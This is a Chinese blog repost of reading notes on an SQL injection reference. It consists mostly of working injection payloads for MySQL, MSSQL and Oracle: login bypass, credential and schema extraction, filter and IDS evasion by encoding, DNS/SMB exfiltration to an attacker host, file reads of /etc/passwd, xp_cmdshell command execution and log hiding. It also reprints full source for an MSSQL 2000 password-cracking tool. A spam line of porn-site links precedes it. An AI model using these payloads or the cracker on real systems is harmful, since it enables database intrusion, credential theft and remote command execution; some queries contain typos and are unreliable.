日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

读”SQL Injection Pocket Reference”之摘录

發(fā)布時(shí)間:2024/1/23 数据库 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 读”SQL Injection Pocket Reference”之摘录 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
1.login登錄后數(shù)據(jù)在mysql中的問題 In a login' OR '1' OR 1 -- -" OR "" = "" OR 1 = 1 -- -'=''LIKE''=0--+

測試結(jié)果如下:



上圖中的--是注釋,-起占位作用





如上圖所示,這個(gè)LIKE的用法在新版本中被當(dāng)成了warning。


?

2.Testing Version

  • VERSION();

  • @@VERSION;

  • @@GLOBAL.VERSION


Example:?' AND MID(VERSION(),1,1) = '5??- True if MySQL version is 5

截圖如下:


如上圖所示,當(dāng)使用AND不會(huì)出來結(jié)果,而使用OR會(huì)出來結(jié)果。

3.MySQL-specific code

MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.

Example:

UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+

SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

上述例子是說,當(dāng)!后面加上版本號(hào)之后,版本號(hào)之后的命令是可以執(zhí)行的。

4.Databasae Credentials

Table:mysql.user(Privileged) Columns:user, password Current User: user(), current_user(),system_user(),session_user()

Example:

SELECT current_user; UNION SELECT CONCAT(user, 0x3A, passowrd) FROM mysql.user WHERE user = 'root'

5.Database Names

Tables: information_schema.schemata,mysql_db Columns: schema_name, db Current DB:database(), schema()

Example:

UNION SELECT schema_name FROM infomation_schema.schemata SELECT DISTINCT(db) FROM mysql.db (Privileged)

注:distinct一般是用來去除查詢結(jié)果中的重復(fù)記錄的,而且這個(gè)語句在select、insert、delete和update中只可以在select中使用。

6.Tables & Columns

Finding out number of columns

Order By 1

ORDER BY 1 ORDER BY 2 ORDER BY ...

Keep incrementing the number until you get a False response

Example:

1' ORDER BY 1-- - True 1' ORDER BY 2-- - True 1' ORDER BY 3-- - True 1' ORDER BY 4-- - False(Query is only using 3 columns) -1' UNION SELECT 1,2,3-- -

Error Based

AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 Operand should contain 3 column(s)

Note:

? ? ? ? 這個(gè)示例要工作起來,當(dāng)你知道table名,并且需要有錯(cuò)誤提示

? ? ? ? 這會(huì)返回表中列的數(shù)量,而不是查詢結(jié)果。

7.Retrieving Tables(檢索表)

Union:

UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;

Blind:

AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'

Error:

1.AND (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) 2.(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); 3.AND ExtractValue(1,CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1))); --Available in 5.1.5

注:

concat()函數(shù):將多個(gè)字符串連接成一個(gè)字符串。語法:concat(str1,str2, ...)返回結(jié)果為連接參數(shù)產(chǎn)生的字符串,如果有任何一個(gè)參數(shù)為null,則返回值為null。group_concat()函數(shù):在有g(shù)roup by的查詢語句中,select指定的字段要么就包含在group by語句的后面,作為分組的依據(jù),要么就包含在聚合函數(shù)中。group_concat()會(huì)計(jì)算哪些行屬于同一組,將屬于同一組的列顯示出來。要返回哪些列,由函數(shù)參數(shù)(就是字段名)決定。分組必須有個(gè)標(biāo)準(zhǔn),就是根據(jù)group by指定的列進(jìn)行分組。substr()函數(shù)是用來截取數(shù)據(jù)庫某一列字段中的一部分SUBSTR(str, pos);就是從pos開始的位置,一直截取到最后。SUBSTR(str,pos,len);就是從pos開始的位置,截取len個(gè)字符(空白也算字符)。EXTRACTVALUE(XML_document, XPath_string) 第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱第二個(gè)參數(shù):XPath_string(XPath格式的字符串)。作用:從目標(biāo)XML中返回包含所查詢值得字符串。

8.Retrieving Columns

?Union:

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

Blind:

AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

Error:

AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1

NOTE:

Output is limited to 1024 chars by default. All default database table names:~900 chars All default database column names:~6000 chars

9.PROCEDURE ANALYSE()

1 PROCEDURE ANALYSE() # get first column name 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name 1 LIMIT 2,1 PROCEDURE ANALYSE()

Note:? It is necessary that the web display the first selected column of the SQL query you are injecting to.

10.Retrieving Multiple Tables/Columns at once

(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x) UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

11.Find Tables from Column Name

SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; --Finds the table names for any columns named username

如上命令截圖如下,用列名來撞表名:


SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; --Find the table names for any columns that contain the word user

如上命令截圖如下:


12.Find Column From Table Name

SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';

13.Avoiding the use of single/double quotations

UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username=0x61646D696E /*admin*/ UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username=CHAR(97, 100, 109, 105, 110)

注:CHAR(N,... [USING charset])

CHAR()將每個(gè)參數(shù)N理解為一個(gè)整數(shù),其返回值為一個(gè)包含這些整數(shù)的代碼值所給出的字符的字符串。NULL值被忽略。

14.String concatenation

SELECT CONCAT('a','a','a') SELECT 'a' 'd' 'mi' 'n' SELECT/**/'a'/**/ 'd'/**/ 'mi'/**/ 'n'

15.Privileges

? ? ?FILE privilege

? ? ?MySQL 4/5?

' UNION SELECT file_priv FROM mysql.user WHERE user = 'username ' AND MID((SELECT file_priv FROM mysql.user WHERE user = 'username'),1,1) = 'Y

? ? MySQL 5

' UNION SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username% ' AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'),1,1)='Y

16.Out Of Band Channeling

? 16.1 Timing(定時(shí))

BENCHMARK() /*用來測試Mysql性能的,該函數(shù)知識(shí)簡單地返回服務(wù)器執(zhí)行表達(dá)式的時(shí)間,而不會(huì)涉及分析和優(yōu)化的開銷*/ SLEEP() (MySQL 5) /*sleep(N)強(qiáng)制讓語句停留N秒鐘*/ IF(), (CASE()WHEN) /*IF(expr1,expr2,expr3)如果expr1是TRUE(expr1<>0 and expr1<>NULL,則IF()的返回值為xpr2;否則返回值則為expr3;IF()的返回值為數(shù)字值閎字符串值。*/

Example:

' - (IF(MID(version(),1,1) LIKE 5,BENCHMARK(100000,SHA1('test')), false)) - '

注:BENCHMARK(count,expr)? ?BENCHMARK()函數(shù)重復(fù)countTimes次執(zhí)行表達(dá)式expr,它可以用于計(jì)時(shí)MySQL處理表達(dá)式有多快。

這里需要看一下隱士類型轉(zhuǎn)換的知識(shí)點(diǎn),參考鏈接:http://blog.csdn.net/hw_libo/article/details/39252427

? 16.2 DNS(requires FILE privilege)

SELECT LOAD_FILE(concat('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));

? 16.3 SMB(requires FILE privilege)

' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt

? ?16.4 Reading Files(requires FILE privilege)

? ? ? LOAD_FILE()? MYSQL注入中,load_file()函數(shù)在獲得webshell以及提權(quán)過程中起到十分重要的作用,常被用來讀取各種配置文件。

UNION SELECT LOAD_FILE('/etc/passwd')-- - UNION SELECT LOAD_FILE(0x2F6574632F706173737764)-- -

? ? ? Note:

File musht be located on the server host The basedirectory for load_file() is the @@datadir The file must be readable by the MySQL user The file size must be less than max_allowed_packet UNION SELECT @@max_allowed_packet(default value is 1047552 Byte)

? ? 16.5 Writing Files(requires FILE privilege)

? ? ? INTO OUTFILE/DUMPFILE

UNION SELECT 'code' INTO OUTFILE '/tmp/file

? ? ? Note:

You can't overwrite files with INTO OUTFILE INTO OUTFILE must be the last statement in the query There is no way to encode the pathname, so quotes are required

? ? ?16.6 Stacked Queries with PDO

? ? ? Stacked queries are possible when PHP uses the PDO_MYSQL driver to make a connection to the database.

? ? ? Example:

AND 1=0; INSERT INTO Users(username,password,priv) VALUES('BobbyTables','k120da$$','admin');

上面的命令真正有威力的是insert語句,不過也是在知道字段名稱和表名的前提下。

17.Fuzzing and Obfuscation(模糊和混淆)

? ? ?17.1?Allowed Intermediary Characters(允許中介角色)

09 0A 0B 0C 0D A0 20

? ? ? ? ?Example: '%0A%09UNION%0CSELECT%A0NULL%23

28 29

? ? ? ? ?Example:UNION(SELECT(column)FROM(table))

? ? ? ? ?Note:

Encoding your injection can sometimes be useful for IDS evasion%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31SELECT %74able_%6eame FROM information_schema.tables;SELECT %2574able_%256eame FROM information_schema.tables;SELECT %u0074able_%u6eame FROM information_schema.tables;

? ? ? ? ?Futhermore,by using # or -- followed by a newline,we can split the query into separate lines, sometimes tricking the IDS.

1'# AND 0-- UNION# I am a comment! SELECT@tmp:=table_name x FROM-- `information_schema`.tables LIMIT 1#

? ? ? ? ? URL Encoded:1'%23%0AAND 0--%0AUNION%23 I am a comment! %0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23

? ? ? ? ?17.2 Allowed Intermediary Characters after AND/OR

2B 2D 7E

? ? ? ? ?Example:SELECT 1 FROM dua1 WHERE 1=1 AND-+-+-+~~((1))

? ? ? ? ? ?$prefixes = array(" ", "+", "-", "~", "!", "@"); //創(chuàng)建數(shù)組

? ? ? ? ? Operators

$operators = array("^", "=", "!=", "%", "/", "*", "&", "&&", "|", "||", "<", ">", ">>", "<<", ">=", "<=", "<>", "<=>", "AND", "OR","XOR", "DIV", "LIKE", "RLIKE", "SOUNDS LIKE", "REGEXP", "IS", "NOT");

? ? ? ? ? Constants

current_user null, \N true, false

18.MSSQL

? ? Default Databases

? ? ? ? pubs? ? ? ? ? ? ?Not available on MSSQL 2005

? ? ? ? model? ? ? ? ? ?Available in all versions

? ? ? ? msdb? ? ? ? ? ? Available in all versions

? ? ? ? tempdb? ? ? ? Available in all versions

? ? ? ? northwind? ? Available in all versions

? ? ? ? information_schema? ? Available from MSSQL 2000 and higher

? ? Comment Out Query

? ? ? ? ?/*? ? ? ? ?C-style comment

? ? ? ? --? ? ? ? ? SQL comment

? ? ? ? ;%00? ? ?Nullbyte

? ? ?Example:

SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = ''; SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';

? ? 截圖如下:

? ? ??

? ?

? ?如上圖所示,第二個(gè)例子中如果是/*,會(huì)提示缺少*/,所以改成--即可執(zhí)行。

19.Testing Version

? ? ?@@VERSION

? ? ? Example:

True if MSSQL version is 2008. SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';

? ? ? 截圖如下:

? ? ? ? ? ??

? ? ?Note:? ? Output will also contain the version of the Windows Operating System.

?20.Database Credentials

Database..Tablemaster..syslogins, master..sysprocesses
Columnsname, loginame
Current Useruser, system_user, suser_sname(), is_srvrolemember('sysadmin')
Database Credentials

SELECT user, password FROM master.dbo.sysxlogins

Example:

Return current user: SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;check if user is admin: SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);

?截圖如下:


? ?

21.Database Names

Database.Tablemaster..sysdatabases
Columnname
Current DBDB_NAME(i)

? ? Example:

SELECT DB_NAME(5); SELECT name FROM master..sysdatabases;

? ??

? ? ?

22.Server Hostname

@@SERVERNAME
SERVERPROPERTY()

Example:

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');

? ?Note: SERVERPROPERTY() is available from MSSQL 2005 and higher.

? ?截圖如下:

? ?

23.Tables and Columns

? ? 23.1 Determining number of columns

ORDER BY n+1;

? ? ? Example:

Given the query: SELECT username, password, permission FROM Users WHERE id = '1';1' ORDER BY 1-- True 1' ORDER BY 2-- True 1' ORDER BY 3-- True 1' ORDER BY 4-- False - Query is only using 3 columns -1' UNION SELECT 1,2,3-- True

? ? ?截圖:

? ? ?

? ? ?Note:? ?Keep incrementing the number until you get a False response.

? ? ?The following can be used to get the columns in the current query.

GROUP BY / HAVING

? ? ? Example:

Given the query:SELECT username, password, permission FROM Users WHERE id = '1'; 1' HAVING 1=1-- Column 'Users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 1' GROUP BY username HAVING 1=1-- Column 'Users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 1' GROUP BY username, password HAVING 1=1-- Column 'Users.permission' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 1' GROUP BY username, password, permission HAVING 1=1-- No Error

? ? ?截圖如下:

? ? ?

? ? ?Note:? ?No error will be returned once all columns have been included.

24.Retrieving Tables

? ? ?We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.

? ? ?注: dbname..tablename =>? ?dbname.dbo.tbname

? ? ?Union:

UNION SELECT name FROM master..sysobjects WHERE xtype='U'

? ? ?Blind:

AND SELECT SUBSTRING(table_name, 1,1) FROM information_schema.tables > 'A'

? ? ?Error:

AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

? ? ?截圖如下:

? ? ?

? ? ??

? ? ? ?Note:? ?Xtype = 'U' is for User-defined tables. You can use 'V' for views.

24.Retrieving Columns

? ? ?We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.

? ? ?Union:

UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')

? ? ? Blind:

AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'


? ? ?Error:

AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns) AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))

25.Retrieving Multiple Tables/Columns at once

? ? ?The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.

Create Temp Table/Column and Insert Data: AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;

?截圖如下:

??

Dump Content: AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);

?

Delete Table: AND 1=0; DROP TABLE TMP_DB;

??

? An easier method is available starting with MSSQL 2005 and higher.The XML function path() works as a concatenator, allowing the retrieval of all tables with 1 query.

SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH ('') //SQL Server 2005+

截圖如下(當(dāng)%2b編碼成+號(hào)的時(shí)候):

? ? ?

?Note:

? ? ? ? You can encode your query in hex to "obfuscate" your attack.

' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f5020544142c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

26.Avoiding the use of quotations

SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110) //admin

? 截圖如下:


27.String Concatenation

SELECT CONCAT('a', 'a', 'a');?(SQL SERVER 2012)
SELECT 'a'+'d'+'mi'+'n';

? ? ??

28.Conditional Statements

IF????

CASE

? ?Examples:

IF 1=1 SELECT 'true' ELSE SELECT 'false'; SELECT CASE WHEN 1=1 THEN true ELSE false END; //true 和 false需要加單引號(hào)包括起來,否則出錯(cuò)

? ???

? ? Note: IF cannot be used inside a SELECT statement.

29. Timing

WAITFOR DELAY 'time_to_pass'; WAITFOR TIME 'time_to_execute';

? ?注: WAITFOR的作用是等待特定時(shí)間,然后繼續(xù)執(zhí)行后續(xù)的語句。它包含一個(gè)參數(shù)DELAY,用來指定等待的時(shí)間。如果將該語句成功注入后,會(huì)造成數(shù)據(jù)庫返回記錄和Web請(qǐng)求也會(huì)相應(yīng)延遲特定的時(shí)間。由于該語句不涉及條件判斷等情況,所以容易注入成功。根據(jù)Web請(qǐng)求是否有延遲,滲透人員就可以判斷網(wǎng)站是否存在漏洞。其中,WAITFOR DELAY '0:0:4' --表示延遲4秒,再繼續(xù)執(zhí)行。這樣網(wǎng)頁響應(yīng)會(huì)延遲4秒。由于WAITFOR不是SQL的標(biāo)準(zhǔn)語句,所以它只適用于SQL Server數(shù)據(jù)庫。??

? ? Example:

IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

? ? ??

30.OPENROWSET Attacks

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd','SET DMTONLY OFF execute master..xp_cmdshell "dir"');

? ??

31.System Command Execution

? ? Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.

EXEC master.dbo.xp_cmdshell 'cmd';

? ? ? ?Starting with version MSSQL 2005 and higher,xp_cmdshell is disabled by default, but can be activated with the following queries:

EXEC sp_configure 'show advanced options', 1

EXEC sp_configure reconfigure????
EXEC sp_configure 'xp_cmdshell', 1
EXEC sp_configure reconfigure

? ? ? ? ?

? ? ?

? ? ? ?

? ? ?

? ? ? ? Alternatively, you can create your own procedure to achieve the same results:

DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'

? ? ? ??

? ? ? if the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command:

EXEC sp_configure 'show advanced options', 1

EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures',1
EXEC sp_configure reconfigure


Example:

Checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the 'dir' command and inserts the results into TMP_DB: ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--

32.SP_PASSWORD(Hiding Query)

? ? ?Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.

SP_PASSWORD

32.Stacked Queries

? ? ?MSSQL supports stacked queries.

? ? ?Example:

' AND 1=0 INSERT INTO ([column1],[column2]) VALUES('value1', 'value2');33.

Fuzzing and Obfuscation

Allowed Intermediary Characters

The following characters can be used as whitespaces.

01

Start of Heading
02Start of Text
03End of Text
04End of Transmission
05Enquiry
06Acknowledge
07Bell
08Backspace
09Horizontal Tab
0ANew Line
0BVertical Tab
0CNew Page
0DCarriage Return
0EShift Out
0FShift In
10Data Link Escape
11Device Control 1
12Device Control 2
13Device Control 3
14Device Control 4
15Negative Acknowledge
16Synchronous Idle
17End of Transmission Block
18Cancel
19End of Medium
1ASubstitute
1BEscape
1CFile Separator
1DGroup Separator
1ERecord Separator
1FUnit Separator
20Space
25%

? ? Example:

S%E%L%E%C%T%01column%02FROM%03table; A%%ND 1=%%%%%%%%1;

? ? ? Note: The percentage sign in between keywords is only possible on ASP(x) web applications.

The following characters can be also used to avoid the use of spaces.

? ? ?

22"
28(
29)
5B[
5D]

  • asd

  • asdf

  • f

asdf

? ?Example:

UNION(SELECT(column)FROM(table)); SELECT"table_name"FROM[information-schema].[tables];

? ? ?截圖如下:

? ? ??

34.Allowed Intermediary Characters after AND/OR

01 - 20Range
21!
2B+
2D-
2E.
5C\
7E~

? ? Example:

SELECT 1FROM[table]WHERE\1=\1AND\1=\1;

? ?Note: The backslash does not seem to work with MSSQL 2000.

? ?

35.Encoding

? ? ?Encoding your injection can sometimes be useful for WAF/IDS evasion.

URL EncodingSELECT %74able_%6eame FROM information_schema.tables;
Double URL EncodingSELECT %2574able_%256eame FROM information_schema.tables;
Unicode EncodingSELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP)SELECT %tab%le_%na%me FROM information_schema.tables;
Hex Encoding' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--
HTML Entities (Needs to be verified)

%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B

36.Password Hashing

? ??Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.

37.Password Cracking

? ?This tool is designed to crack Microsoft SQL Server 2000 passwords.

/ // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // // #include <stdio.h> #include <windows.h> #include <wincrypt.h> FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) {int err = 0;if(argc !=3){printf("\n\n*** SQLCrack *** \n\n");printf("C:\\>%s hash passwd-file\n\n",argv[0]);printf("David Litchfield (david@ngssoftware.com)\n");printf("24th June 2002\n");return 0;}err = OpenPasswordFile(argv[2]);if(err !=0){return printf("\nThere was an error opening the password file %s\n",argv[2]);}err = CrackPassword(argv[1]);fclose(fd);printf("\n\n%d",wd);return 0; } int OpenPasswordFile(char *pwdfile) {fd = fopen(pwdfile,"r");if(fd)return 0;elsereturn 1; } int CrackPassword(char *hash) {char phash[100]="";char pheader[8]="";char pkey[12]="";char pnorm[44]="";char pucase[44]="";char pucfirst[8]="";char wttf[44]="";char uwttf[100]="";char *wp=NULL;char *ptr=NULL;int cnt = 0;int count = 0;unsigned int key=0;unsigned int t=0;unsigned int address = 0;unsigned char cmp=0;unsigned char x=0;HCRYPTPROV hProv=0;HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94){return printf("\nThe password hash is too short!\n");} if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X')){hash = hash + 2;strncpy(pheader,hash,4);printf("\nHeader\t\t: %s",pheader);if(strlen(pheader)!=4)return printf("%s",lerr);hash = hash + 4;strncpy(pkey,hash,8);printf("\nRand key\t: %s",pkey);if(strlen(pkey)!=8)return printf("%s",lerr);hash = hash + 8;strncpy(pnorm,hash,40);printf("\nNormal\t\t: %s",pnorm);if(strlen(pnorm)!=40)return printf("%s",lerr);hash = hash + 40;strncpy(pucase,hash,40);printf("\nUpper Case\t: %s",pucase);if(strlen(pucase)!=40)return printf("%s",lerr);strncpy(pucfirst,pucase,2);sscanf(pucfirst,"%x",&cmp);} else{return printf("The password hash has an invalid format!\n");} printf("\n\n Trying...\n"); if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)){if(GetLastError()==NTE_BAD_KEYSET){// KeySet does not exist. So create a new keysetif(!CryptAcquireContext(&hProv,NULL,NULL,PROV_RSA_FULL,CRYPT_NEWKEYSET )){printf("FAILLLLLLL!!!");return FALSE;}} } while(1){// get a word to try from the fileZeroMemory(wttf,44);if(!fgets(wttf,40,fd))return printf("\nEnd of password file. Didn't find the password.\n");wd++;len = strlen(wttf);wttf[len-1]=0x00;ZeroMemory(uwttf,84);// Convert the word to UNICODEwhile(count < len){uwttf[cnt]=wttf[count];cnt++;uwttf[cnt]=0x00;count++;cnt++;}len --;wp = &uwttf;sscanf(pkey,"%x",&key);cnt = cnt - 2;// Append the random stuff to the end of// the uppercase unicode passwordt = key >> 24;x = (unsigned char) t;uwttf[cnt]=x;cnt++;t = key << 8;t = t >> 24;x = (unsigned char) t;uwttf[cnt]=x;cnt++;t = key << 16;t = t >> 24;x = (unsigned char) t;uwttf[cnt]=x;cnt++;t = key << 24;t = t >> 24;x = (unsigned char) t;uwttf[cnt]=x;cnt++; // Create the hash if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)){printf("Error %x during CryptCreatHash!\n", GetLastError());return 0;} if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)){printf("Error %x during CryptHashData!\n", GetLastError());return FALSE;} CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp){// If first byte matches try the restptr = pucase;cnt = 1;while(cnt < 20){ptr = ptr + 2;strncpy(pucfirst,ptr,2);sscanf(pucfirst,"%x",&cmp);if(szhash[cnt]==cmp)cnt ++;else{break;}}if(cnt == 20){// We've found the passwordprintf("\nA MATCH!!! Password is %s\n",wttf);return 0;}}count = 0;cnt=0;}return 0; }

38. Oracle

? ?Default Databases

SYSTEMAvailable in all versions
SYSAUXAvailable in all versions

?39.Comment Out Query

? ?The following can be used to comment out the? rest of the query after your injection:

--SQL comment

? ?Example:

SELECT * FROm Users WHERE username = '' OR 1=1 --' AND password = '';

? ? 截圖如下:

? ??

40.Testing Version

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;

? 截圖如下:

? ?

? ??

? ? Notes:

? ? ? ? All SELECT statements in Oracle must contain a table.

? ? ? ? dual is a dummy table which can be used for testing.

41.Database Credentials

SELECT username FROM all_users;Available on all versions
SELECT name, password from sys.user$;privileged , <= 10g
SELECT name, spare4 from sys.user$;Privileged, <= 11g

截圖如下:

???

? ?

42.Database Names

? ? Current Database

SELECT name FROM v$database;

SELECT instance_name FROM v$instance
SELECT global_name FROM global_name
SELECT SYS.DATABASE_NAME FROM DUAL;



User Databases

SELECT DISTINCT owner FROM all_tables;


Server Hostname:

SELECT name FROM v$instance; (Privileged)
SELECT UTL_INADDR.get_host_name FROM dual;

SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;

SELECT UTL_INADDR.get_host_address FROM dual;


43.Tables and Columns

? ? ?Retrieving Tables

SELECT table_name FROm all_tables;

? ??

? ?Restrieving Columns:

SELECT column_name FROM all_tab_columns;

? ? ? ?

?Find Tables from Column Name

SELECT table_name FROM all_tab_tables WHERE table_name = 'Users';

? ? ?

? ?Find Columns From Table Name

SELECT table_name FROM all_tab_tables WHERE column_name = 'password';

? ? ?

? ?Retrieving Multiple Tables at once

SELECT RTRIM(XMLAGG(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()'),',') FROM all_tables;

Avoiding the use of quotations

? ? Unlike other RDBMS, Oracle allows table/column names to be encoded.

SELECT 0x09120911091 FROM dual;Hex Encoding.
SELECT CHR(32)||CHR(92)||CHR(93) FROM dual;CHR() Function.

? ? ??

? ?String Concatenation

SELECT 'a'||'d'||'mi'||'n' FROM dual;

? ? ? ?Conditional Statements

SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual

? ? ? ?

? ? ? ?Timing

? ? ? ? Time Delay

SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual;

? ? ? ? ? Heavy Time Delays

AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));

? ? ? ? ? Privileges

SELECT privilege FROM session_privs;
